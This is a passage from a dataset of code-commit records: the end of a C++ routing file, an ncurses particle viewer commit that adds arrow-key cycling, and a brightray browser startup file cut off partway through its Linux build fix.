\/\/ Check if no path could be found (-> early exit).\n if (INVALID_EDGE_WEIGHT == local_upper_bound)\n {\n return std::make_pair(INVALID_EDGE_WEIGHT, 0);\n }\n\n \/\/ Calculate exact distance in km.\n std::vector<NodeID> packed_path;\n super::RetrievePackedPathFromHeap(forward_heap, backward_heap, middle, packed_path);\n\n if (!forward)\n {\n std::reverse(begin(packed_path), end(packed_path));\n }\n\n auto source_phantom_it =\n std::find_if(begin(source), end(source), [&packed_path](PhantomNode const &node)\n {\n return node.forward_node_id == packed_path[forward ? 0 : packed_path.size() - 1] ||\n node.reverse_node_id == packed_path[forward ? 0 : packed_path.size() - 1];\n });\n auto target_phantom_it =\n std::find_if(begin(target), end(target), [&packed_path](PhantomNode const &node)\n {\n return node.forward_node_id == packed_path[forward ? packed_path.size() - 1 : 0] ||\n node.reverse_node_id == packed_path[forward ? packed_path.size() - 1 : 0];\n });\n\n BOOST_ASSERT(source_phantom_it != end(source));\n BOOST_ASSERT(target_phantom_it != end(target));\n\n std::vector<PathData> unpacked_path;\n if (forward)\n {\n super::UnpackPath(packed_path, {*source_phantom_it, *target_phantom_it}, unpacked_path);\n }\n else\n {\n super::UnpackPath(packed_path, {*target_phantom_it, *source_phantom_it}, unpacked_path);\n }\n\n std::vector<FixedPointCoordinate> coordinates;\n coordinates.reserve(unpacked_path.size() + 2);\n\n coordinates.emplace_back(forward ? source_phantom_it->location\n : target_phantom_it->location);\n for (const auto &path_data : unpacked_path)\n {\n coordinates.emplace_back(super::facade->GetCoordinateOfNode(path_data.node));\n }\n coordinates.emplace_back(forward ? target_phantom_it->location\n : source_phantom_it->location);\n\n double distance = 0.0;\n for (size_t i = 1; i < coordinates.size(); ++i)\n {\n distance += coordinate_calculation::euclidean_distance(coordinates[i - 1],\n coordinates[i]);\n }\n\n return std::make_pair(round(local_upper_bound \/ 10.), distance);\n }\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"mopViewer.h\"\n\nmopViewer::mopViewer() {\n}\nmopViewer::~mopViewer() {\n}\n\nvoid mopViewer::showStats() {\n mopfile = new MopFile();\n mopfile->setFilename(\"Testing_Project.mop\");\n mopfile->openMopfileReader();\n mopstate = new MopState();\n mopstate = mopfile->readCyclingState();\n mopstate = mopfile->readCyclingState();\n std::cout << \"Item Count: \" << mopstate->getItemCount() << std::endl;\n for (int i = 0; i < mopstate->getItemCount(); i++) {\n std::cout << \"Particle \"<< i << \" X value: \" << mopstate->getMopItem(i).x << std::endl;\n std::cout << \"Particle \"<< i << \" Y value: \" << mopstate->getMopItem(i).y << std::endl;\n std::cout << \"Particle \"<< i << \" Z value: \" << mopstate->getMopItem(i).z << std::endl;\n }\n int x, y, x2, y2, x3, y3;\n nCurses nCurse;\n \/\/ nCurse.start(true, true, true, false);sd\n initscr();\n raw();\n nCurse.startColour();\n getmaxyx(stdscr, x, y);\n init_pair(1, COLOR_WHITE, COLOR_BLACK);\n init_pair(2, COLOR_BLACK, COLOR_WHITE);\n wbkgd(stdscr, COLOR_PAIR(1));\n wattron(stdscr, COLOR_PAIR(1));\n nCurse.drawBox(stdscr, ACS_VLINE, ACS_HLINE);\n\n WINDOW *window1 = newwin(x-4, (y\/2)-5, 2, 2);\n wbkgd(window1, COLOR_PAIR(2));\n nCurse.drawBox(window1, ACS_VLINE, ACS_HLINE);\n\n WINDOW *window2 = newwin(x-4, (y\/2)-5, 2, (y\/2)+2);\n wbkgd(window2, COLOR_PAIR(2));\n nCurse.drawBox(window2, ACS_VLINE, ACS_HLINE);\n\n wattron(stdscr, A_BOLD);\n mvwprintw(stdscr, 1, (y\/2)-10, \"Welcome to Mopviewer\");\n\n getmaxyx(window1, x2, y2);\n getmaxyx(window2, x3, y3);\n\n \/\/Get the output for sizes of windows, helps me\n std::cout << \"Max X: \" << x << std::endl;\n std::cout << \"Max Y: \" << y << std::endl;\n\n std::cout << \"Max X1: \" << x2 << std::endl;\n std::cout << \"Max Y1: \" << y2 << std::endl;\n\n std::cout << \"Max X2: \" << x3 << std::endl;\n std::cout << \"Max Y2: \" << y3 << std::endl;\n\n \/\/Display the information to screen\n int currentRow = 1;\n int currentRow2 = 1;\n for (int i = 0; i < mopstate->getItemCount(); i++) {\n if(currentRow >= (x2-1)){\n mvwprintw(window2, currentRow2,1, \"Particle Number: %d\", i);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle X %f\", mopstate->getMopItem(i).x);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Y: %f\", mopstate->getMopItem(i).y);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Z %f\", mopstate->getMopItem(i).z);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Red: %d\", mopstate->getMopItem(i).red);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Green %d\", mopstate->getMopItem(i).green);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Blue: %d\", mopstate->getMopItem(i).blue);\n currentRow2+=2;\n\n }\n else{\n mvwprintw(window1, currentRow,1, \"Particle Number: %d\", i);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle X %f\", mopstate->getMopItem(i).x);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Y: %f\", mopstate->getMopItem(i).y);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Z %f\", mopstate->getMopItem(i).z);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Red: %d\", mopstate->getMopItem(i).red);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Green %d\", mopstate->getMopItem(i).green);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Blue: %d\", mopstate->getMopItem(i).blue);\n currentRow+=2;\n }\n }\n\n\n\n refresh();\n wrefresh(window1);\n wrefresh(window2);\n\n std::cout << \"Amount per column: \" << std::endl;\n\n\n getch();\n endwin();\n}\n\n\n\n\n\n\n\nvoid mopViewer::selectGame() {\n int mx = 0, my = 0, mx2 = 0, my2 = 0;\n char welcome[] = \"Enter 1 to View Stats and 2 to Open MopViewer: \";\n char exitMessage[] = \"Enter anything else to exit\";\n \/\/ Create inital screen. Better to replace\n \/\/ with the single start function from moody\n WINDOW *myWindow = initscr();\n raw();\n cbreak();\n keypad(myWindow, TRUE);\n \/\/ noecho();\n \/\/ Enable use of colour on screen\n start_color();\n \/\/ Create two colour pairs for the different screens\n init_pair(1, COLOR_BLACK, COLOR_CYAN);\n init_pair(2, COLOR_BLACK, COLOR_RED);\n init_pair(3, COLOR_WHITE, COLOR_BLACK);\n \/\/ Set the colour scheme of window 1 to pair 1\n wattron(myWindow, COLOR_PAIR(1));\n \/\/ Set background of main window to colour scheme 1\n wbkgd(myWindow, COLOR_PAIR(1));\n \/\/ Create a border for the main console screen\n box(myWindow, ACS_BULLET, ACS_BULLET);\n \/\/ Make a new window that is a sub window of\n \/\/ main window and add a border to it\n getmaxyx(myWindow, mx, my);\n WINDOW *myWindow2 = subwin(myWindow, mx-5, my-5, 3, 3);\n box(myWindow2, ACS_VLINE, ACS_HLINE);\n \/\/ Get the max size of both windows for use later on\n getmaxyx(myWindow, mx, my);\n getmaxyx(myWindow2, mx2, my2);\n \/\/ Set background and colour shceme of child window\n wattron(myWindow2, COLOR_PAIR(2));\n wbkgd(myWindow2, COLOR_PAIR(2));\n \/\/ Add the title string to the main window\n mvaddstr(1, (my2\/2)-10, \"Welcome to MopViewer!\");\n \/\/ Print string to second window at the x,y co-ordinates specificed\n mvwprintw(myWindow2, mx2\/2, ((my2-std::strlen(welcome))\/2), \"%s\", welcome);\n mvwprintw(myWindow2, (mx2\/2)+10, ((my2-std::strlen(exitMessage))\/2), \"%s\", exitMessage);\n wmove(myWindow, (mx2\/2)+5, ((my2\/2)+std::strlen(welcome)));\n \/\/ Refresh main window otherwise background colour won't show for some reason\n wrefresh(myWindow);\n char inputString[1];\n \/\/ Get the input into inputString\n wgetstr(myWindow2, inputString);\n mopViewer mopViewers;\n testWindow newWindow;\n if (inputString[0] == '1') {\n clear();\n refresh();\n endwin();\n mopViewers.showStats();\n } else if (inputString[0] == '2') {\n clear();\n refresh();\n endwin();\n newWindow.init();\n mopViewers.selectGame();\n }\n endwin();\n}\n<commit_msg>Add option to cycle through particles using right arrow<commit_after>#include \"mopViewer.h\"\n\nmopViewer::mopViewer() {\n}\nmopViewer::~mopViewer() {\n}\n\nvoid mopViewer::showStats() {\n mopfile = new MopFile();\n mopfile->setFilename(\"Testing_Project.mop\");\n mopfile->openMopfileReader();\n mopstate = new MopState();\n mopstate = mopfile->readCyclingState();\n mopstate = mopfile->readCyclingState();\n std::cout << \"Item Count: \" << mopstate->getItemCount() << std::endl;\n for (int i = 0; i < mopstate->getItemCount(); i++) {\n std::cout << \"Particle \"<< i << \" X value: \" << mopstate->getMopItem(i).x << std::endl;\n std::cout << \"Particle \"<< i << \" Y value: \" << mopstate->getMopItem(i).y << std::endl;\n std::cout << \"Particle \"<< i << \" Z value: \" << mopstate->getMopItem(i).z << std::endl;\n }\n int x, y, x2, y2, x3, y3;\n nCurses nCurse;\n \/\/ nCurse.start(true, true, true, false);sd\n initscr();\n raw();\n nCurse.startColour();\n getmaxyx(stdscr, x, y);\n init_pair(1, COLOR_WHITE, COLOR_BLACK);\n init_pair(2, COLOR_BLACK, COLOR_WHITE);\n wbkgd(stdscr, COLOR_PAIR(1));\n wattron(stdscr, COLOR_PAIR(1));\n nCurse.drawBox(stdscr, ACS_VLINE, ACS_HLINE);\n\n WINDOW *window1 = newwin(x-4, (y\/2)-5, 2, 2);\n wbkgd(window1, COLOR_PAIR(2));\n nCurse.drawBox(window1, ACS_VLINE, ACS_HLINE);\n\n WINDOW *window2 = newwin(x-4, (y\/2)-5, 2, (y\/2)+2);\n wbkgd(window2, COLOR_PAIR(2));\n nCurse.drawBox(window2, ACS_VLINE, ACS_HLINE);\n\n wattron(stdscr, A_BOLD);\n mvwprintw(stdscr, 1, (y\/2)-10, \"Welcome to Mopviewer\");\n\n getmaxyx(window1, x2, y2);\n getmaxyx(window2, x3, y3);\n\n \/\/Get the output for sizes of windows, helps me\n std::cout << \"Max X: \" << x << std::endl;\n std::cout << \"Max Y: \" << y << std::endl;\n\n std::cout << \"Max X1: \" << x2 << std::endl;\n std::cout << \"Max Y1: \" << y2 << std::endl;\n\n std::cout << \"Max X2: \" << x3 << std::endl;\n std::cout << \"Max Y2: \" << y3 << std::endl;\n\n float maxitems = (x2-2)\/8;\n float maxremainder = ((x2-2)%8);\n std::cout << \"Max amount of items per column: \" << maxitems << std::endl;\n std::cout << \"Max amount of remainders per column: \" << maxremainder << std::endl;\n\n \/\/Display the information to screen\n int currentRow = 1;\n int currentRow2 = 1;\n int currentitem = 0;\n for (int i = 0; i < (2*maxitems); i++) {\n if((currentRow >= (8*maxitems))){\n mvwprintw(window2, currentRow2,1, \"Particle Number: %d\", currentitem);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle X %f\", mopstate->getMopItem(currentitem).x);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Y: %f\", mopstate->getMopItem(currentitem).y);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Z %f\", mopstate->getMopItem(currentitem).z);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Red: %d\", mopstate->getMopItem(currentitem).red);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Green %d\", mopstate->getMopItem(currentitem).green);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Blue: %d\", mopstate->getMopItem(currentitem).blue);\n currentRow2+=2;\n currentitem++;\n\n }\n else{\n mvwprintw(window1, currentRow,1, \"Particle Number: %d\", currentitem);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle X %f\", mopstate->getMopItem(currentitem).x);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Y: %f\", mopstate->getMopItem(currentitem).y);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Z %f\", mopstate->getMopItem(currentitem).z);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Red: %d\", mopstate->getMopItem(currentitem).red);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Green %d\", mopstate->getMopItem(currentitem).green);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Blue: %d\", mopstate->getMopItem(currentitem).blue);\n currentRow+=2;\n currentitem++;\n }\n }\n\n refresh();\n wrefresh(window1);\n wrefresh(window2);\n\n int ch;\n while((ch = getch()) != GLFW_KEY_2)\n\t{\tswitch(ch) {\n case KEY_RIGHT:\n currentRow = 1;\n currentRow2 = 1;\n for (int i = 0; i < (2*maxitems); i++) {\n if((currentRow >= (8*maxitems)) && (currentitem <= mopstate->getItemCount())){\n mvwprintw(window2, currentRow2,1, \"Particle Number: %d\", currentitem);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle X %f\", mopstate->getMopItem(currentitem).x);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Y: %f\", mopstate->getMopItem(currentitem).y);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Z %f\", mopstate->getMopItem(currentitem).z);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Red: %d\", mopstate->getMopItem(currentitem).red);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Green %d\", mopstate->getMopItem(currentitem).green);\n currentRow2++;\n mvwprintw(window2, currentRow2,1, \"Particle Blue: %d\", mopstate->getMopItem(currentitem).blue);\n currentRow2+=2;\n currentitem++;\n\n }\n else if (currentitem <= mopstate->getItemCount()){\n mvwprintw(window1, currentRow,1, \"Particle Number: %d\", currentitem);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle X %f\", mopstate->getMopItem(currentitem).x);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Y: %f\", mopstate->getMopItem(currentitem).y);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Z %f\", mopstate->getMopItem(currentitem).z);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Red: %d\", mopstate->getMopItem(currentitem).red);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Green %d\", mopstate->getMopItem(currentitem).green);\n currentRow++;\n mvwprintw(window1, currentRow,1, \"Particle Blue: %d\", mopstate->getMopItem(currentitem).blue);\n currentRow+=2;\n currentitem++;\n }\n }\n refresh();\n wrefresh(window1);\n wrefresh(window2);\n break;\n\n }\n }\n refresh();\n wrefresh(window1);\n wrefresh(window2);\n \/\/getch();\n endwin();\n}\n\n\n\n\n\n\n\nvoid mopViewer::selectGame() {\n int mx = 0, my = 0, mx2 = 0, my2 = 0;\n char welcome[] = \"Enter 1 to View Stats and 2 to Open MopViewer: \";\n char exitMessage[] = \"Enter anything else to exit\";\n \/\/ Create inital screen. Better to replace\n \/\/ with the single start function from moody\n WINDOW *myWindow = initscr();\n raw();\n cbreak();\n keypad(myWindow, TRUE);\n \/\/ noecho();\n \/\/ Enable use of colour on screen\n start_color();\n \/\/ Create two colour pairs for the different screens\n init_pair(1, COLOR_BLACK, COLOR_CYAN);\n init_pair(2, COLOR_BLACK, COLOR_RED);\n init_pair(3, COLOR_WHITE, COLOR_BLACK);\n \/\/ Set the colour scheme of window 1 to pair 1\n wattron(myWindow, COLOR_PAIR(1));\n \/\/ Set background of main window to colour scheme 1\n wbkgd(myWindow, COLOR_PAIR(1));\n \/\/ Create a border for the main console screen\n box(myWindow, ACS_BULLET, ACS_BULLET);\n \/\/ Make a new window that is a sub window of\n \/\/ main window and add a border to it\n getmaxyx(myWindow, mx, my);\n WINDOW *myWindow2 = subwin(myWindow, mx-5, my-5, 3, 3);\n box(myWindow2, ACS_VLINE, ACS_HLINE);\n \/\/ Get the max size of both windows for use later on\n getmaxyx(myWindow, mx, my);\n getmaxyx(myWindow2, mx2, my2);\n \/\/ Set background and colour shceme of child window\n wattron(myWindow2, COLOR_PAIR(2));\n wbkgd(myWindow2, COLOR_PAIR(2));\n \/\/ Add the title string to the main window\n mvaddstr(1, (my2\/2)-10, \"Welcome to MopViewer!\");\n \/\/ Print string to second window at the x,y co-ordinates specificed\n mvwprintw(myWindow2, mx2\/2, ((my2-std::strlen(welcome))\/2), \"%s\", welcome);\n mvwprintw(myWindow2, (mx2\/2)+10, ((my2-std::strlen(exitMessage))\/2), \"%s\", exitMessage);\n wmove(myWindow, (mx2\/2)+5, ((my2\/2)+std::strlen(welcome)));\n \/\/ Refresh main window otherwise background colour won't show for some reason\n wrefresh(myWindow);\n char inputString[1];\n \/\/ Get the input into inputString\n wgetstr(myWindow2, inputString);\n mopViewer mopViewers;\n testWindow newWindow;\n if (inputString[0] == '1') {\n clear();\n refresh();\n endwin();\n mopViewers.showStats();\n } else if (inputString[0] == '2') {\n clear();\n refresh();\n endwin();\n newWindow.init();\n mopViewers.selectGame();\n }\n endwin();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"browser\/browser_main_parts.h\"\n\n#include \"browser\/browser_context.h\"\n#include \"browser\/devtools_manager_delegate.h\"\n#include \"browser\/web_ui_controller_factory.h\"\n#include \"common\/main_delegate.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/feature_list.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"media\/base\/localized_strings.h\"\n#include \"net\/proxy\/proxy_resolver_v8.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/material_design\/material_design_controller.h\"\n\n#if defined(USE_AURA)\n#include \"ui\/display\/display.h\"\n#include \"ui\/display\/screen.h\"\n#include \"ui\/views\/widget\/desktop_aura\/desktop_screen.h\"\n#include \"ui\/wm\/core\/wm_state.h\"\n#endif\n\n#if defined(TOOLKIT_VIEWS)\n#include \"browser\/views\/views_delegate.h\"\n#endif\n\n#if defined(USE_X11)\n#include \"base\/environment.h\"\n#include \"base\/path_service.h\"\n#include \"base\/nix\/xdg_util.h\"\n#include \"base\/threading\/thread_task_runner_handle.h\"\n#include \"browser\/brightray_paths.h\"\n#include \"chrome\/browser\/ui\/libgtkui\/gtk_ui.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/base\/x\/x11_util_internal.h\"\n#include \"ui\/views\/linux_ui\/linux_ui.h\"\n#endif\n\n#if defined(OS_WIN)\n#include \"ui\/base\/cursor\/cursor_loader_win.h\"\n#include \"ui\/base\/l10n\/l10n_util_win.h\"\n#include \"ui\/gfx\/platform_font_win.h\"\n#endif\n\n#if defined(OS_LINUX)\n#include \"device\/bluetooth\/bluetooth_adapter_factory.h\"\n#include \"device\/bluetooth\/dbus\/dbus_bluez_manager_wrapper_linux.h\"\n#endif\n\nnamespace brightray {\n\nnamespace {\n\n#if defined(OS_WIN)\n\/\/ gfx::Font callbacks\nvoid AdjustUIFont(LOGFONT* logfont) {\n l10n_util::AdjustUIFont(logfont);\n}\n\nint GetMinimumFontSize() {\n return 10;\n}\n#endif\n\n#if defined(USE_X11)\n\/\/ Indicates that we're currently responding to an IO error (by shutting down).\nbool g_in_x11_io_error_handler = false;\n\n\/\/ Number of seconds to wait for UI thread to get an IO error if we get it on\n\/\/ the background thread.\nconst int kWaitForUIThreadSeconds = 10;\n\nvoid OverrideLinuxAppDataPath() {\n base::FilePath path;\n if (PathService::Get(DIR_APP_DATA, &path))\n return;\n std::unique_ptr<base::Environment> env(base::Environment::Create());\n path = base::nix::GetXDGDirectory(env.get(),\n base::nix::kXdgConfigHomeEnvVar,\n base::nix::kDotConfigDir);\n PathService::Override(DIR_APP_DATA, path);\n}\n\nint BrowserX11ErrorHandler(Display* d, XErrorEvent* error) {\n if (!g_in_x11_io_error_handler) {\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE, base::Bind(&ui::LogErrorEventDescription, d, *error));\n }\n return 0;\n}\n\n\/\/ This function is used to help us diagnose crash dumps that happen\n\/\/ during the shutdown process.\nNOINLINE void WaitingForUIThreadToHandleIOError() {\n \/\/ Ensure function isn't optimized away.\n asm(\"\");\n sleep(kWaitForUIThreadSeconds);\n}\n\nint BrowserX11IOErrorHandler(Display* d) {\n if (!content::BrowserThread::CurrentlyOn(content::BrowserThread::UI)) {\n \/\/ Wait for the UI thread (which has a different connection to the X server)\n \/\/ to get the error. We can't call shutdown from this thread without\n \/\/ tripping an error. Doing it through a function so that we'll be able\n \/\/ to see it in any crash dumps.\n WaitingForUIThreadToHandleIOError();\n return 0;\n }\n\n \/\/ If there's an IO error it likely means the X server has gone away.\n \/\/ If this CHECK fails, then that means SessionEnding() below triggered some\n \/\/ code that tried to talk to the X server, resulting in yet another error.\n CHECK(!g_in_x11_io_error_handler);\n\n g_in_x11_io_error_handler = true;\n LOG(ERROR) << \"X IO error received (X server probably went away)\";\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE, base::MessageLoop::QuitWhenIdleClosure());\n\n return 0;\n}\n\nint X11EmptyErrorHandler(Display* d, XErrorEvent* error) {\n return 0;\n}\n\nint X11EmptyIOErrorHandler(Display* d) {\n return 0;\n}\n#endif\n\nbase::string16 MediaStringProvider(media::MessageId id) {\n switch (id) {\n case media::DEFAULT_AUDIO_DEVICE_NAME:\n return base::ASCIIToUTF16(\"Default\");\n#if defined(OS_WIN)\n case media::COMMUNICATIONS_AUDIO_DEVICE_NAME:\n return base::ASCIIToUTF16(\"Communications\");\n#endif\n default:\n return base::string16();\n }\n}\n\n} \/\/ namespace\n\nBrowserMainParts::BrowserMainParts() {\n}\n\nBrowserMainParts::~BrowserMainParts() {\n}\n\nvoid BrowserMainParts::PreEarlyInitialization() {\n std::unique_ptr<base::FeatureList> feature_list(new base::FeatureList);\n feature_list->InitializeFromCommandLine(\"\", \"\");\n base::FeatureList::SetInstance(std::move(feature_list));\n\n#if defined(USE_X11)\n views::LinuxUI::SetInstance(BuildGtk2UI());\n OverrideLinuxAppDataPath();\n\n \/\/ Installs the X11 error handlers for the browser process used during\n \/\/ startup. They simply print error messages and exit because\n \/\/ we can't shutdown properly while creating and initializing services.\n ui::SetX11ErrorHandlers(nullptr, nullptr);\n#endif\n}\n\nvoid BrowserMainParts::ToolkitInitialized() {\n ui::MaterialDesignController::Initialize();\n\n#if defined(USE_AURA) && defined(USE_X11)\n views::LinuxUI::instance()->Initialize();\n#endif\n\n#if defined(USE_AURA)\n wm_state_.reset(new wm::WMState);\n#endif\n\n#if defined(TOOLKIT_VIEWS)\n views_delegate_.reset(new ViewsDelegate);\n#endif\n\n#if defined(OS_WIN)\n gfx::PlatformFontWin::adjust_font_callback = &AdjustUIFont;\n gfx::PlatformFontWin::get_minimum_font_size_callback = &GetMinimumFontSize;\n\n wchar_t module_name[MAX_PATH] = { 0 };\n if (GetModuleFileName(NULL, module_name, MAX_PATH))\n ui::CursorLoaderWin::SetCursorResourceModule(module_name);\n#endif\n}\n\nvoid BrowserMainParts::PreMainMessageLoopStart() {\n#if defined(OS_MACOSX)\n l10n_util::OverrideLocaleWithCocoaLocale();\n#endif\n InitializeResourceBundle(\"\");\n#if defined(OS_MACOSX)\n InitializeMainNib();\n#endif\n media::SetLocalizedStringProvider(MediaStringProvider);\n}\n\nvoid BrowserMainParts::PreMainMessageLoopRun() {\n content::WebUIControllerFactory::RegisterFactory(\n WebUIControllerFactory::GetInstance());\n\n \/\/ --remote-debugging-port\n auto command_line = base::CommandLine::ForCurrentProcess();\n if (command_line->HasSwitch(switches::kRemoteDebuggingPort))\n DevToolsManagerDelegate::StartHttpHandler();\n}\n\nvoid BrowserMainParts::PostMainMessageLoopStart() {\n#if defined(USE_X11)\n \/\/ Installs the X11 error handlers for the browser process after the\n \/\/ main message loop has started. This will allow us to exit cleanly\n \/\/ if X exits before us.\n ui::SetX11ErrorHandlers(BrowserX11ErrorHandler, BrowserX11IOErrorHandler);\n#endif\n#if defined(OS_LINUX)\n bluez::DBusBluezManagerWrapperLinux::Initialize();\n#endif\n}\n\nvoid BrowserMainParts::PostMainMessageLoopRun() {\n#if defined(USE_X11)\n \/\/ Unset the X11 error handlers. The X11 error handlers log the errors using a\n \/\/ |PostTask()| on the message-loop. But since the message-loop is in the\n \/\/ process of terminating, this can cause errors.\n ui::SetX11ErrorHandlers(X11EmptyErrorHandler, X11EmptyIOErrorHandler);\n#endif\n}\n\nint BrowserMainParts::PreCreateThreads() {\n#if defined(USE_AURA)\n display::Screen* screen = views::CreateDesktopScreen();\n display::Screen::SetScreenInstance(screen);\n#if defined(USE_X11)\n views::LinuxUI::instance()->UpdateDeviceScaleFactor();\n#endif\n#endif\n return 0;\n}\n\nvoid BrowserMainParts::PostDestroyThreads() {\n#if defined(OS_LINUX)\n device::BluetoothAdapterFactory::Shutdown();\n bluez::DBusBluezManagerWrapperLinux::Shutdown();\n#endif\n}\n\n} \/\/ namespace brightray\n<commit_msg>Fix building on Linux<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"browser\/browser_main_parts.h\"\n\n#include \"browser\/browser_context.h\"\n#include \"browser\/devtools_manager_delegate.h\"\n#include \"browser\/web_ui_controller_factory.h\"\n#include \"common\/main_delegate.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/feature_list.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"media\/base\/localized_strings.h\"\n#include \"net\/proxy\/proxy_resolver_v8.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/material_design\/material_design_controller.h\"\n\n#if defined(USE_AURA)\n#include \"ui\/display\/display.h\"\n#include \"ui\/display\/screen.h\"\n#include \"ui\/views\/widget\/desktop_aura\/desktop_screen.h\"\n#include \"ui\/wm\/core\/wm_state.h\"\n#endif\n\n#if defined(TOOLKIT_VIEWS)\n#include \"browser\/views\/views_delegate.h\"\n#endif\n\n#if defined(USE_X11)\n#include \"base\/environment.h\"\n#include \"base\/path_service.h\"\n#include \"base\/nix\/xdg_util.h\"\n#include \"base\/threading\/thread_task_runner_handle.h\"\n#include \"browser\/brightray_paths.h\"\n#include \"chrome\/browser\/ui\/libgtkui\/gtk_ui.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/base\/x\/x11_util_internal.h\"\n#include \"ui\/views\/linux_ui\/linux_ui.h\"\n#endif\n\n#if defined(OS_WIN)\n#include \"ui\/base\/cursor\/cursor_loader_win.h\"\n#include \"ui\/base\/l10n\/l10n_util_win.h\"\n#include \"ui\/gfx\/platform_font_win.h\"\n#endif\n\n#if defined(OS_LINUX)\n#include \"device\/bluetooth\/bluetooth_adapter_factory.h\"\n#include \"device\/bluetooth\/dbus\/dbus_bluez_manager_wrapper_linux.h\"\n#endif\n\nnamespace brightray {\n\nnamespace {\n\n#if defined(OS_WIN)\n\/\/ gfx::Font callbacks\nvoid AdjustUIFont(LOGFONT* logfont) {\n l10n_util::AdjustUIFont(logfont);\n}\n\nint GetMinimumFontSize() {\n return 10;\n}\n#endif\n\n#if defined(USE_X11)\n\/\/ Indicates that we're currently responding to an IO error (by shutting down).\nbool g_in_x11_io_error_handler = false;\n\n\/\/ Number of seconds to wait for UI thread to get an IO error if we get it on\n\/\/ the background thread.\nconst int kWaitForUIThreadSeconds = 10;\n\nvoid OverrideLinuxAppDataPath() {\n base::FilePath path;\n if (PathService::Get(DIR_APP_DATA, &path))\n return;\n std::unique_ptr<base::Environment> env(base::Environment::Create());\n path = base::nix::GetXDGDirectory(env.get(),\n base::nix::kXdgConfigHomeEnvVar,\n base::nix::kDotConfigDir);\n PathService::Override(DIR_APP_DATA, path);\n}\n\nint BrowserX11ErrorHandler(Display* d, XErrorEvent* error) {\n if (!g_in_x11_io_error_handler) {\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE, base::Bind(&ui::LogErrorEventDescription, d, *error));\n }\n return 0;\n}\n\n\/\/ This function is used to help us diagnose crash dumps that happen\n\/\/ during the shutdown process.\nNOINLINE void WaitingForUIThreadToHandleIOError() {\n \/\/ Ensure function isn't optimized away.\n asm(\"\");\n sleep(kWaitForUIThreadSeconds);\n}\n\nint BrowserX11IOErrorHandler(Display* d) {\n if (!content::BrowserThread::CurrentlyOn(content::BrowserThread::UI)) {\n \/\/ Wait for the UI thread (which has a different connection to the X server)\n \/\/ to get the error. We can't call shutdown from this thread without\n \/\/ tripping an error. Doing it through a function so that we'll be able\n \/\/ to see it in any crash dumps.\n WaitingForUIThreadToHandleIOError();\n return 0;\n }\n\n \/\/ If there's an IO error it likely means the X server has gone away.\n \/\/ If this CHECK fails, then that means SessionEnding() below triggered some\n \/\/ code that tried to talk to the X server, resulting in yet another error.\n CHECK(!g_in_x11_io_error_handler);\n\n g_in_x11_io_error_handler = true;\n LOG(ERROR) << \"X IO error received (X server probably went away)\";\n base::ThreadTaskRunnerHandle::Get()->PostTask(\n FROM_HERE, base::MessageLoop::QuitWhenIdleClosure());\n\n return 0;\n}\n\nint X11EmptyErrorHandler(Display* d, XErrorEvent* error) {\n return 0;\n}\n\nint X11EmptyIOErrorHandler(Display* d) {\n return 0;\n}\n#endif\n\nbase::string16 MediaStringProvider(media::MessageId id) {\n switch (id) {\n 